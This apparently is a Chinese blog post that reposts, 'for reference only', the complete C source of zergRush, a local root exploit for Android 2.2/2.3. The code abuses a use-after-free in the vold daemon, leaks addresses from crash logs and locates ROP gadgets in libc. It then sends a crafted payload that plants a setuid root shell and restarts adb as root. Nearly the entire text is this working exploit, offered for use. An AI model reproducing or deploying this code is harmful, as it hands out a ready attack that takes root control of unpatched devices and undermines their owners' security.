zergRush源码

 

zergRush用于对Android手机进行root提权, 适用于android 2.2/2.3版本,代码可以从下面这个网址获得:
                                      
https://github.com/revolutionary/zergRush/downloads

这里,将zergRush.c的代码发布出来,仅供参考:
                                        
                                        
/* android 2.2/2.3 libsysutils root exploit use-after-free
 *
 * Exploited by rewriting a FrameworkCommand object making the runCommand
 * point to our first ROP gadget.
 *
 * Copyright (c) 2011, The Revolutionary development team.
 *
 * Before using, insert empty formatted sdcard. USE IT AT YOUR OWN RISK,
 * THIS PROGRAM MIGHT NOT WORK OR MAKES YOUR DEVICE USELESS/BRICKED.  SO BE
 * WARNED!  I AM NOT RESPONSIBLE FOR ANY DAMAGE IT MIGHT CAUSE!
 *
 * It only works if called from adb shell since we need group log.
 *
 * Compile:
 * agcc zergRush.c -o zergRush -ldiskconfig -lcutils
 *
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <errno.h>
#include <fcntl.h>

#include <sys/mount.h>
#include <sys/socket.h>
#include <sys/select.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/un.h>

#include <dirent.h>

#include <dlfcn.h>

#include <sys/system_properties.h>
#include <cutils/sockets.h>
#include <private/android_filesystem_config.h>

static pid_t logcat_pid = 0;
static char *sh = "/data/local/tmp/sh";
static char *bsh = "/data/local/tmp/boomsh";
static char *crashlog = "/data/local/tmp/crashlog";
static char *vold = "/system/bin/vold";

uint32_t heap_addr;
uint32_t libc_base;
uint32_t heap_base_addr;
uint32_t heap_offset;
uint32_t r9 = 0, r10 = 0, fp = 0;
uint32_t stack_addr = 0x41414141;
uint32_t system_ptr = 0;
uint32_t stack_pivot = 0x41414141;
uint32_t pop_r0 = 0x41414141;
uint32_t jumpsz = 0;
uint32_t gadget_jumpsz = 108;
uint32_t buffsz = 0;
uint32_t allbuffsz[] = {16,24,0};

uint8_t adjust = 0;

uint8_t samsung = 0;

extern char **environ;

static void die(const char *msg)
{
 perror(msg);
 exit(errno);
}

static int copy(const char *from, const char *to)
{
 int fd1, fd2;
 char buf[0x1000];
 int r = 0;

 if ((fd1 = open(from, O_RDONLY)) < 0)
  return -1;
 if ((fd2 = open(to, O_RDWR|O_CREAT|O_TRUNC, 0600)) < 0) {
  close(fd1);
  return -1;
 }
 
 for (;;) {
  r = read(fd1, buf, sizeof(buf));
  if (r <= 0)
   break;
  if (write(fd2, buf, r) != r)
   break;
 }
 
 close(fd1);
 close(fd2);
 sync(); sync();
 return r;
}

static int remount_data(const char *mntpoint)
{
 FILE *f = NULL;
 int found = 0;
 char buf[1024], *dev = NULL, *fstype = NULL;

 if ((f = fopen("/proc/mounts", "r")) == NULL)
  return -1;
 
 memset(buf, 0, sizeof(buf));
 for (;!feof(f);) {
  if (fgets(buf, sizeof(buf), f) == NULL)
   break;
  if (strstr(buf, mntpoint)) {
   found = 1;
   break;
  }
 }
 fclose(f);
 if (!found)
  return -1;
 if ((dev = strtok(buf, " \t")) == NULL)
  return -1;
 if (strtok(NULL, " \t") == NULL)
  return -1;
 if ((fstype = strtok(NULL, " \t")) == NULL)
  return -1;
 return mount(dev, mntpoint, fstype, MS_REMOUNT, 0);
}

static void *find_symbol(char *sym)
{
 void *r = NULL;
 void *dlh = dlopen("/system/libc/libc.so", RTLD_NOW);
 
 if (!dlh)
  die("[-] dlopen");
 if ((r = (void *)dlsym(dlh, sym)) == NULL)
  die("[-] dlsym");
 dlclose(dlh);
 return r;
}

static int bad_byte(uint8_t byte)
{
 switch(byte) {
  case 0x20:
  case 0x22:
  case 0x5c:
  case 0x00:
   return 1;
   break;
  default:
   break;
 }
 return 0;
}

static void heap_oracle() {
 char ok = 1;
 if (r9 > heap_base_addr && r9 < (heap_base_addr+0x10000))
  heap_addr = r9 + 0x70;
 else if (r10 > heap_base_addr && r10 < (heap_base_addr+0x10000))
  heap_addr = r10 + 0x70;
 else if (fp > heap_base_addr && fp < (heap_base_addr+0x10000))
  heap_addr = fp + 0x70;
 else
  ok = 0;

 while(bad_byte(heap_addr&0xff)) heap_addr += 0x20;
 if(ok)
  printf("[+] Overseer found a path ! 0x%08x\n", heap_addr);
 else {
  printf("[-] No path found, let's hope ...\n");
  heap_addr = heap_base_addr + heap_offset;
 }
}

static int check_addr(uint32_t addr)
{
 /*
  * Check if address contains one of the forbidden bytes
  */
 int i = 0;

 for(i=0; i<32; i+=8)
  if(bad_byte((addr>>i) & 0xff))
   return -1;

 return 0;
}

static int do_fault()
{
 char buf[255];
 int sock = -1, n = 0, i;
 char s_stack_addr[5], s_stack_pivot_addr[5], s_pop_r0_addr[5], s_system[5], s_bsh_addr[5], s_heap_addr[5];
 uint32_t bsh_addr;
 char padding[128];
 int32_t padding_sz = (jumpsz == 0 ? 0 : gadget_jumpsz - jumpsz);

 if(samsung) {
  printf("[*] Sleeping a bit (~40s)...\n");
  sleep(40);
  printf("[*] Waking !\n");
 }

 memset(padding, 0, 128);
 strcpy(padding, "LORDZZZZzzzz");
 if(padding_sz > 0) {
  memset(padding+12, 'Z', padding_sz);
  printf("[*] Popping %d more zerglings\n", padding_sz);
 }
 else if(padding_sz < 0) {
  memset(padding, 0, 128);
  memset(padding, 'Z', 12+padding_sz);
 }

 if ((sock = socket_local_client("vold", ANDROID_SOCKET_NAMESPACE_RESERVED, SOCK_STREAM)) < 0)
  die("[-] Error creating Nydus");

 sprintf(s_stack_addr, "%c%c%c%c", stack_addr & 0xff, (stack_addr>>8)&0xff, (stack_addr>>16)&0xff, (stack_addr>>24)&0xff);
 sprintf(s_stack_pivot_addr, "%c%c%c%c", stack_pivot & 0xff, (stack_pivot>>8)&0xff, (stack_pivot>>16)&0xff, (stack_pivot>>24)&0xff);
 sprintf(s_pop_r0_addr, "%c%c%c%c", pop_r0 & 0xff, (pop_r0>>8)&0xff, (pop_r0>>16)&0xff, (pop_r0>>24)&0xff);
 sprintf(s_system, "%c%c%c%c", system_ptr & 0xff, (system_ptr>>8)&0xff, (system_ptr>>16)&0xff, (system_ptr>>24)&0xff);
 sprintf(s_heap_addr, "%c%c%c%c", heap_addr & 0xff, (heap_addr>>8)&0xff, (heap_addr>>16)&0xff, (heap_addr>>24)&0xff);

 if(adjust)
  strcpy(buf, "ZERGZERG");
 else
  strcpy(buf, "ZERG");
 strcat(buf, " ZZ ");
 strcat(buf, s_stack_pivot_addr);
 for(i=3; i < buffsz+1; i++)
  strcat(buf, " ZZZZ");
 strcat(buf, " ");
 strcat(buf, s_heap_addr);
  
 n = strlen(buf);
 bsh_addr = stack_addr + n + 1 + 8 + 8 + 8 + padding_sz + 12 + 4;
 
 if(check_addr(bsh_addr) == -1) {
  printf("[-] Colossus, we're doomed!\n");
  exit(-1);
 }

 sprintf(s_bsh_addr, "%c%c%c%c", bsh_addr & 0xff, (bsh_addr>>8)&0xff, (bsh_addr>>16)&0xff, (bsh_addr>>24)&0xff);

 n += sprintf(buf+n+1, "%s%s OVER%s%s%s%sZZZZ%s%c", s_stack_addr, s_heap_addr, padding, s_pop_r0_addr, s_bsh_addr, s_system, bsh, 0);
 
 printf("[*] Sending %d zerglings ...\n", n);

 if ((n = write(sock, buf, n+1)) < 0)
  die("[-] Nydus seems broken");
 
 sleep(3);
 close(sock);

 return n;
}

static int find_rop_gadgets()
{
 /*
  * add sp, #108 -> b01b
  * pop {r4, r5, r6, r7, pc} -> bdf0
  *
  * pop {r0, pc} -> bd01
  */
 int fd;
 char r[2], d[2];
 int n = 2;
 int bad = 0;

 if((fd=open("/system/lib/libc.so", O_RDONLY)) == -1)
  die("[-] open");
 
 lseek(fd, 0x10000, SEEK_SET);

 while(n == 2 && (stack_pivot == 0x41414141 || pop_r0 == 0x41414141)) {
  n = read(fd, r, 2);
  switch(r[0]) {
  case '\x1b':
   if(stack_pivot == 0x41414141) {
    if(r[1] == '\xb0') {
     n = read(fd, d, 2);
     if(d[0] == '\xf0' && d[1] == '\xbd') {
      stack_pivot = libc_base + lseek(fd, 0, SEEK_CUR) - 4 + 1;
      if(check_addr(stack_pivot) == -1)
       stack_pivot = 0x41414141;
     }
    }
   }
   break;
  case '\x01':
   if(pop_r0 == 0x41414141) {
    if(r[1] == '\xbd') {
     pop_r0 = libc_base + lseek(fd, 0, SEEK_CUR) - 2 + 1;
     if(check_addr(pop_r0) == -1)
      pop_r0 = 0x41414141;
    }
   }
   break;
  default:
   break;
  }
 }
 
 if (stack_pivot == 0x41414141) {
  printf("[-] You need more minerals !\n");
  bad = -1;
 }

 if (pop_r0 == 0x41414141) {
  printf("[-] You need more vespene gas !\n");
  bad = -1;
 }

 if(bad == -1)
  exit(-1);

 return 0;
}

static uint32_t checkcrash()
{
 uint32_t fault_addr = 0;
 char buf[1024], *ptr = NULL;
 FILE *f = NULL;
 long pos = 0;
 int ret=0;

 system("/system/bin/logcat -c");
 unlink(crashlog);

 if ((logcat_pid = fork()) == 0) {
  char *a[] = {"/system/bin/logcat", "-b", "main", "-f", crashlog, NULL};
  execve(*a, a, environ);
  exit(1);
 }
 sleep(3);

 if (do_fault() < 0)
  die("[-] Zerglings did not cause crash");
 /* Give logcat time to write to file
  */
 sleep(3);
 if ((f = fopen(crashlog, "r")) == NULL)
  die("[-] Zerglings did not leave stuff at all");
 fseek(f, pos, SEEK_SET);
 do {
  memset(buf, 0, sizeof(buf));
  if (!fgets(buf, sizeof(buf), f))
   break;
  if ((ptr = strstr(buf, "  sp ")) != NULL)
   ret = 1;
  if ((ptr = strstr(buf, "  r9 ")) != NULL) {
   ptr += 5;
   r9 = (uint32_t)strtoul(ptr, NULL, 16);
  }
  if ((ptr = strstr(buf, "  10 ")) != NULL) {
   ptr += 5;
   r10 = (uint32_t)strtoul(ptr, NULL, 16);
  }
  if ((ptr = strstr(buf, "  fp ")) != NULL) {
   ptr += 5;
   fp = (uint32_t)strtoul(ptr, NULL, 16);
  }
 } while (!feof(f));
 pos = ftell(f);
 fclose(f);

 return ret;
}

static uint32_t check_libc_base()
{
 char buf[1024], *ptr = NULL;
 FILE *f = NULL;
 long pos = 0;
 int ret=0;
 uint32_t spotted_base = 0;

 if ((f = fopen(crashlog, "r")) == NULL)
  die("[-] Zerglings did not leave stuff at all");
 fseek(f, pos, SEEK_SET);
 do {
  memset(buf, 0, sizeof(buf));
  if (!fgets(buf, sizeof(buf), f))
   break;
  if ((ptr = strstr(buf, "  /system/lib/libc.so")) != NULL) {
   ptr -= 8;
   spotted_base = strtoul(ptr, NULL, 16) & 0xfff00000;
   if(spotted_base && spotted_base != libc_base) {
    libc_base = spotted_base;
    ret = 1;
   }
  }
 } while (!feof(f) && !spotted_base);
 pos = ftell(f);
 fclose(f);

 return ret;
}

static uint32_t find_stack_addr()
{
 uint32_t fault_addr = 0;
 char buf[1024], *ptr = NULL;
 FILE *f = NULL;
 long pos = 0;
 uint32_t sp=0, over=0;

 system("/system/bin/logcat -c");
 unlink(crashlog);

 if ((logcat_pid = fork()) == 0) {
  char *a[] = {"/system/bin/logcat", "-b", "main", "-f", crashlog, NULL};
  execve(*a, a, environ);
  exit(1);
 }
 sleep(3);

 if (do_fault() < 0)
  die("[-] Zerglings did not cause crash");
 /* Give logcat time to write to file
  */
 sleep(3);
 if ((f = fopen(crashlog, "r")) == NULL)
  die("[-] Zerglings did not leave stuff at all");
 fseek(f, pos, SEEK_SET);
 do {
  memset(buf, 0, sizeof(buf));
  if (!fgets(buf, sizeof(buf), f))
   break;
  if ((ptr = strstr(buf, "  4752455a")) != NULL && stack_addr == 0x41414141) {
   ptr -= 8;
   stack_addr = (uint32_t)strtoul(ptr, NULL, 16);
  }
  if ((ptr = strstr(buf, "  5245564f")) != NULL && !over) {
   ptr -= 8;
   over = (uint32_t)strtoul(ptr, NULL, 16);
  }
  if ((ptr = strstr(buf, "  sp ")) != NULL && !sp) {
   ptr += 5;
   sp = (uint32_t)strtoul(ptr, NULL, 16);
  }
  if ((ptr = strstr(buf, "  r9 ")) != NULL) {
   ptr += 5;
   r9 = (uint32_t)strtoul(ptr, NULL, 16);
  }
  if ((ptr = strstr(buf, "  10 ")) != NULL) {
   ptr += 5;
   r10 = (uint32_t)strtoul(ptr, NULL, 16);
  }
  if ((ptr = strstr(buf, "  fp ")) != NULL) {
   ptr += 5;
   fp = (uint32_t)strtoul(ptr, NULL, 16);
  }

 } while (!feof(f));
 pos = ftell(f);
 fclose(f);

 if(over && sp)
  jumpsz = over - sp;
 
 return stack_addr;
}

static void do_root()
{
 remount_data("/data");
 chown(sh, 0, 0);
 chmod(sh, 04711);
 property_set("ro.kernel.qemu","1");
 exit(0);
}

int main(int argc, char **argv, char **env)
{
 uint32_t i = 0, ok = 0;
 char *ash[] = {sh, 0};
 struct stat st;
 char version_release[1024];
 int tries=0;

 if (geteuid() == 0 && getuid() == 0 && strstr(argv[0], "boomsh"))
  do_root();

 printf("\n[**] Zerg rush - Android 2.2/2.3 local root\n");
 printf("[**] (C) 2011 Revolutionary. All rights reserved.\n\n");
 printf("[**] Parts of code from Gingerbreak, (C) 2010-2011 The Android Exploid Crew.\n\n");

 if (copy("/proc/self/exe", bsh) < 0 || copy("/system/bin/sh", sh) < 0)
  die("[-] Cannot copy boomsh.");

 chmod(bsh, 0711);

 stat(vold, &st);
 heap_base_addr = ((((st.st_size) + 0x8000) / 0x1000) + 1) * 0x1000;

 __system_property_get("ro.build.version.release", version_release);

 if (strstr(version_release, "2.2")) {
  heap_offset = 0x108;
  printf("[+] Found a Froyo ! 0x%08x\n", heap_offset);
 } else if (strstr(version_release, "2.3")) {
  heap_offset = 0x118;
  printf("[+] Found a GingerBread ! 0x%08x\n", heap_offset);
 } else {
  printf("[-] Not a 2.2/2.3 Android ...\n");
  exit(-1);
 }

 heap_addr = 0xffffff;

 __system_property_get("ro.build.fingerprint", version_release);
 if(!strncmp(version_release, "samsung", 7)) {
  printf("[+] Found a Samsung, running Samsung mode\n");
  samsung = 1;
 }

 system_ptr = (uint32_t) find_symbol("system");
 libc_base = system_ptr & 0xfff00000;

 if (check_addr(system_ptr) == -1) {
  printf("[-] High templars, we're doomed!\n");
  exit(-1);
 }

 tries = 0;
 printf("[*] Scooting ...\n");
 while(buffsz=allbuffsz[tries]) {
  if(checkcrash()) {
   printf("[+] Zerglings found a way to enter ! 0x%02x\n", buffsz);
   break;
  }
  tries++;
 }

 if(!buffsz) {
  printf("[-] Hellions with BLUE flames !\n");
  exit(-1);
 }

 for (tries = 0; tries < 2; tries++) {
  heap_oracle();
  find_stack_addr();

  if (stack_addr != 0x41414141 && jumpsz) {
   printf("[+] Zerglings caused crash (good news): 0x%08x 0x%04x\n", stack_addr, jumpsz);
   break;
  }
 }
 
 if (stack_addr == 0x41414141 || !jumpsz) {
  printf("[-] Zerglings did not leave interesting stuff\n");
  exit(-1);
 }
 
 if (check_addr(stack_addr) == -1) {
  if(bad_byte(stack_addr & 0xff)) {
   stack_addr += 4;
   adjust = 4;
   if (check_addr(stack_addr) == -1) {
    printf("[-] Siege tanks, we're doomed!\n");
    exit(-1);
   }
  }
  else {
   printf("[-] Siege tanks, we're doomed!\n");
   exit(-1);
  }
 }

 if (jumpsz > 108 + 12) {
  printf("[-] This terran has walled!\n");
  exit(-1);
 }

 if(check_libc_base()) {
  system_ptr = libc_base + (system_ptr & 0x000fffff);
  printf("[*] Creating more creep 0x%08x ...\n", system_ptr);

  if (check_addr(system_ptr) == -1) {
   printf("[-] High templars, we're doomed!\n");
   exit(-1);
  }
 }

 kill(logcat_pid, SIGKILL);
 unlink(crashlog);

 printf("[*] Researching Metabolic Boost ...\n");
 find_rop_gadgets();
 printf("[+] Speedlings on the go ! 0x%08x 0x%08x\n", stack_pivot, pop_r0);

 do_fault();
 stat(sh, &st);
 if ((st.st_mode & 04000) == 04000) {
  char qemuprop[1];

  printf("\n[+] Rush did it ! It's a GG, man !\n");
  property_get("ro.kernel.qemu",qemuprop,"0");

  if (qemuprop[0]=='1') {
   printf("[+] Killing ADB and restarting as root... enjoy!\n");
   fflush(stdout);
   sleep(1);
   kill(-1, SIGTERM);
  } else {
   printf("[-] Failed to set property to restart adb. Not killing.\n");
  }
 } else {
  printf("\n[-] Bad luck, our rush did not succeed :(\n");
  fflush(stdout);
  sleep(1);
  kill(-1, SIGTERM);
 }

 return 0;
}